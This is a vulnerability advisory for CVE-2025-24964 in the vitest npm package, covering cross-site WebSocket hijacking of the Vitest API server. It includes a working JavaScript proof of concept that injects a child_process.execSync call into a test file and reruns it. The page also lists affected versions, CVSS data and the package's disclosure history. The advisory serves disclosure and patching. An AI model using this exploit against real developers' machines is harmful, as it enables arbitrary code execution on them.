Critical

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

  • Disclosed: 04.02.2025
  • Updated: 11.10.2026 10:22

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
js
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package vitest >= 1.0.0, < 1.6.1, >= 2.0.0, < 2.1.9, >= 3.0.0, < 3.0.5, <= 0.0.125 1.6.1, 2.1.9, 3.0.5

References

CVSS score 9.6/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-1385
Platform
npm
Package
vitest
Disclosed
04.02.2025
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-9crc-q9x8-hgqq - CC BY 4.0

Vulnerability history: vitest

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
3
First → latest
02.2025 09.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • Medium 1

Disclosures per year

  1. 2025: 1
  2. 2026: 2
  1. Medium · 5.9 CVE-2026-84373 >= 2.1.0, < 4.1.11, >= 5.0.0-beta.1, < 5.0.0-rc.2 4.1.11, 5.0.0-rc.2
  2. Critical · 9.8 CVE-2026-47429 >= 4.0.0, < 4.1.0, < 3.2.6 4.1.0, 3.2.6
  3. Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening this entry
    Critical · 9.6 CVE-2025-24964 >= 1.0.0, < 1.6.1, >= 2.0.0, < 2.1.9, >= 3.0.0, < 3.0.5, <= 0.0.125 1.6.1, 2.1.9, 3.0.5

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